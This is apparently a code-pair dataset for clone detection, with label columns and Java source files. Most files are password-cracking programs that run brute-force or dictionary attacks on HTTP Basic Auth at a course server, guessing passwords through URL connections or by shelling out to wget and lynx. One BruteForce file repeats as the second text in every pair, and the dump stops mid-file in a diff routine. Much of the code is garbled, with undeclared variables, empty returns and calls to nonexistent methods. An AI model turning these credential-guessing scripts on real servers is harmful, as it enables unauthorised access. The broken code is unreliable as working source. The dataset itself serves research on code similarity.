F1
stringlengths
8
8
F2
stringlengths
8
8
label
int64
0
1
text_1
stringlengths
174
63k
text_2
stringlengths
174
63k
161.java
197.java
0
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
207.java
197.java
0
import java.util.*; public class Cracker { private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; private Vector v; public Cracker() { v = new Vector( 52); } public void loadLetters() { int i; for( i = 0; i < letters.length; i++) { String s = new StringBuffer().append( letters[i]).toString(); v.add( s); } } public Vector getVictor() { return ; } public void loadPairs() { int i,j; for( i = 0; i < letters.length - 1; i++) { for( j = i + 1; j < letters.length; j++) { String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString(); String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString(); v.add( s1); v.add( s2); } } for( i = 0; i < letters.length; i++) { String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString(); v.add( s3); } } public void loadTriples() { int i, j, k; for( i = 0; i < letters.length; i++) { String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString(); v.add( s4); } for( i = 0; i < letters.length - 1; i++) { for( j = i + 1; j < letters.length; j++) { String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString(); String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString(); String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString(); String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString(); String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString(); String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString(); v.add( s5); v.add( s6); v.add( s7); v.add( s8); v.add( s9); v.add( s10); } } for( i = 0; i < letters.length - 2; i++) { for( j = i + 1; j < letters.length - 1; j++) { for( k = i + 2; k < letters.length; k++) { String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString(); String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString(); String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString(); String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString(); String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString(); String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString(); v.add( s11); v.add( s12); v.add( s13); v.add( s14); v.add( s15); v.add( s16); } } } } public static void main( String[] args) { Cracker cr = new Cracker(); cr.loadLetters(); cr.loadPairs(); cr.loadTriples(); System.out.println(" far "+cr.getVictor().size()+" elements loaded"); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
010.java
197.java
0
import java.io.*; import java.*; import java.util.StringTokenizer; public class Dictionary { public static void main(String args[]) { final String DICT_FILE = "/usr/share/lib/dict/words"; String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/"; String password; String s = null; int num_tries = 0; try { BufferedReader dict_word = new BufferedReader (new FileReader (DICT_FILE)); while((password = dict_word.readLine())!= null) { try { Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } num_tries++; if((p.exitValue()) == 0) { System.out.println("**********PASSWORD IS: " + password); System.out.println("**********NUMBER OF TRIES: " + num_tries); System.exit(1); } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } System.out.println("DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD"); System.out.println("**********Sorry, password was not found in dictionary file"); System.exit(1); } catch (FileNotFoundException exception) { System.out.println(exception); } catch (IOException exception) { System.out.println(exception); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
054.java
197.java
0
import java.net.*; import java.io.*; import java.misc.*; import java.io.BufferedInputStream; import java.awt.*; import java.awt.event.*; public class WatchDog { public static void main (String args[]) { String url = "http://yallara.cs.rmit.edu./~"; String file1 = "test1.txt"; int flag = 0; WriteFile write = new WriteFile(url, file1, flag); new DoSleep().print(); } } class DoSleep extends Thread { public synchronized void run() { String url = "http://yallara.cs.rmit.edu./~"; String file2 = "test2.txt"; int flag = 1; int status = 0; String file1 = "test1.txt"; System.out.println("Checking........."); try { sleep(); WriteFile write = new WriteFile(url, file2, flag); status = write.getStatus(); if(status != 0) { int flag2 = 0; WriteFile write2 = new WriteFile(url, file1, flag2); } new DoSleep().print(); } catch (InterruptedException e) {} } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
155.java
197.java
0
import java.io.*; import java.net.*; public class Dictionary{ public static void main( String[] args ){ Dictionary dict= new Dictionary(); dict.create(); } public void dsf(){ String password; String auth_data; String username=""; String server_res_code; String required_server_res_code="200"; int cntr=0; try{ URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); URLConnection conn=null; String fileName = "/usr/share/lib/dict/words"; fileName=fileName.trim(); FileReader fr = new FileReader(fileName); BufferedReader inputfile = new BufferedReader(fr); while( (password=inputfile.readLine()) != null ){ password = password.trim(); auth_data=null; auth_data=username + ":" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1"); conn.setRequestProperty ("Authorization", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; if( server_res_code.compareTo(required_server_res_code)!=0) System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code); else { System.out.println(cntr + " . " + "PASSWORD IS: " + password + " SERVER RESPONSE : " + server_res_code); break;} } } catch( Exception e){ System.err.println(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = ""; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return " " + encodedString; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
134.java
197.java
0
import java.*; import java.io.*; import java.util.*; public class BruteForce { public static void main(String[] args) { Runtime rt = Runtime.getRuntime(); Process pr= null; char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; String pass; char temp[] = {'a','a'}; char temp1[] = {'a','a','a'}; char temp2[] = {'a'}; String f= new String(); String resp = new String(); int count=0; String success = new String(); InputStreamReader instre; BufferedReader bufread; for(int k=0;k<52;k++) { temp2[0]=chars[k]; pass = new String(temp2); count++; System.out.println("The password tried is------->"+pass+"---and attempt is=="+count); f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"; try { pr = rt.exec(f); instre = new InputStreamReader(pr.getErrorStream()); bufread = new BufferedReader(instre); resp = bufread.readLine(); while( (resp = bufread.readLine())!= null) { if(resp.equals("HTTP request sent, awaiting response... 200 OK")) { System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count); System.exit(0); } } }catch(java.io.IOException e){} } for(int j=0;j<52;j++) { for(int k=0;k<52;k++) { temp[0]=chars[j]; temp[1]=chars[k]; pass = new String(); count++; System.out.println("The password tried is------->"+pass+"---and attempt is=="+count); f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"; try { pr = rt.exec(f); instre = new InputStreamReader(pr.getErrorStream()); bufread = new BufferedReader(instre); resp = bufread.readLine(); while( (resp = bufread.readLine())!= null) { if(resp.equals("HTTP request sent, awaiting response... 200 OK")) { System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count); System.exit(0); } } }catch(java.io.IOException e){} } } for(int i=0;i<52;i++) for(int j=0;j<52;j++) for(int k=0;k<52;k++) { temp1[0]=chars[i]; temp1[1]=chars[j]; temp1[2]=chars[k]; pass = new String(temp1); count++; System.out.println("The password tried is------->"+pass+"---and attempt is=="+count); f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"; try { pr = rt.exec(f); instre = new InputStreamReader(pr.getErrorStream()); bufread = new BufferedReader(instre); resp = bufread.readLine(); while( (resp = bufread.readLine())!= null) { if(resp.equals("HTTP request sent, awaiting response... 200 OK")) { System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count); System.exit(0); } } }catch(java.io.IOException e){} } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
171.java
197.java
0
import java.io.*; import java.net.*; import java.*; import java.util.*; public class DictionaryAttack { public static void main ( String args[]) { String function,pass,temp1; int count =0; try{ FileReader fr = new FileReader("words.txt"); BufferedReader bfread = new BufferedReader(fr); Runtime rtime = Runtime.getRuntime(); Process prs = null; while(( bf = bfread.readLine()) != null) { if( f.length() < 4 ) { System.out.println(+ " The Attack Number =====>" + count++ ); pass = f; function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/"; prs = rtime.exec(function); InputStreamReader stre = new InputStreamReader(prs.getErrorStream()); BufferedReader bread = new BufferedReader(stre); while( (temp1 = bread.readLine())!= null) { System.out.println(temp1); if(temp1.equals("HTTP request sent, awaiting response... 200 OK")) { System.out.println("The password has is:"+pass); System.exit(0); } } } } fr.print(); bfread.close(); }catch(Exception e){} } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
159.java
197.java
0
class BasicAuth { public BasicAuth() {} private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + ":" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
127.java
197.java
0
import java.util.Hashtable; public class Diff { public Diff(Object[] a,Object[] b) { Hashtable h = new Hashtable(a.length + b.length); filevec[0] = new file_data(a,h); filevec[1] = new file_data(b,h); } private int equiv_max = 1; public boolean heuristic = false; public boolean no_discards = false; private int[] xvec, yvec; private int[] fdiag; private int[] bdiag; private int fdiagoff, bdiagoff; private final file_data[] filevec = new file_data[2]; private int cost; private int diag (int xoff, int xlim, int yoff, int ylim) { final int[] fd = fdiag; final int[] bd = bdiag; final int[] xv = xvec; final int[] yv = yvec; final int dmin = xoff - ylim; final int dmax = xlim - yoff; final int fmid = xoff - yoff; final int bmid = xlim - ylim; int fmin = fmid, fmax = fmid; int bmin = bmid, bmax = bmid; final boolean odd = (fmid - bmid & 1) != 0; fd[fdiagoff + fmid] = xoff; bd[bdiagoff + bmid] = xlim; for (int c = 1;; ++c) { int d; boolean big_snake = false; if (fmin > dmin) fd[fdiagoff + --fmin - 1] = -1; else ++fmin; if (fmax < dmax) fd[fdiagoff + ++fmax + 1] = -1; else --fmax; for (d = fmax; d >= fmin; d -= 2) { int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d + 1]; if (tlo >= ylim) x = tlo + 1; else x = ylim; oldx = x; y = x - d; while (x < xlim && y < ylim && xv[x] == yv[y]) { ++x; ++y; } if (x - oldx > 20) big_snake = true; fd[fdiagoff + d] = x; if (odd && bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d]) { cost = 2 * c - 1; return d; } } if (bmin > dmin) bd[bdiagoff + --bmin - 1] = Integer.MAX_VALUE; else ++bmin; if (bmax < dmax) bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE; else --bmax; for (d = bmax; d >= bmin; d -= 2) { int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff + d + 1]; if (tlo < ylim) x = tlo; else x = - 1; oldx = x; y = x - d; while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) { --x; --y; } if (oldx - x > 20) big_snake = true; bd[bdiagoff + d] = x; if (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d]) { cost = 2 * c; return d; } } if (c > 200 && big_snake && heuristic) { int i = 0; int bestpos = -1; for (d = fmax; d >= fmin; d -= 2) { int dd = d - fmid; if ((fd[fdiagoff + d] - xoff)*2 - dd > 12 * (c + (dd > 0 ? dd : -dd))) { if (fd[fdiagoff + d] * 2 - dd > i && fd[fdiagoff + d] - xoff > 20 && fd[fdiagoff + d] - d - yoff > 20) { int k; int x = fd[fdiagoff + d]; for (k = 1; k <= 20; k++) if (xvec[x - k] != yvec[x - d - k]) break; if (k == 21) { ylim = fd[fdiagoff + d] * 2 - dd; bestpos = d; } } } } if ( x> 0) { cost = 2 * c - 1; return bestpos; } x= 0; for (d = bmax; d >= bmin; d -= 2) { int dd = d - bmid; if ((xlim - bd[bdiagoff + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd))) { if ((xlim - bd[bdiagoff + d]) * 2 + dd > i && xlim - bd[bdiagoff + d] > 20 && x - (bd[bdiagoff + d] - d) > 20) { int k; int x = bd[bdiagoff + d]; for (k = 0; k < 20; k++) if (xvec[x + k] != yvec[x - d + k]) break; if (k == 20) { x = (xlim - bd[bdiagoff + d]) * 2 + dd; bestpos = d; } } } } if (x > 0) { cost = 2 * c - 1; return bestpos; } } } } private void compareseq (int xoff, int xlim, int yoff, int ylim) { while (xoff < xlim && yoff < ylim && xvec[xoff] == yvec[yoff]) { ++xoff; ++yoff; } while (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) { --xlim; --x; } if (xoff == xlim) while (yoff < ylim) filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true; else if (yoff == ylim) while (xoff < xlim) 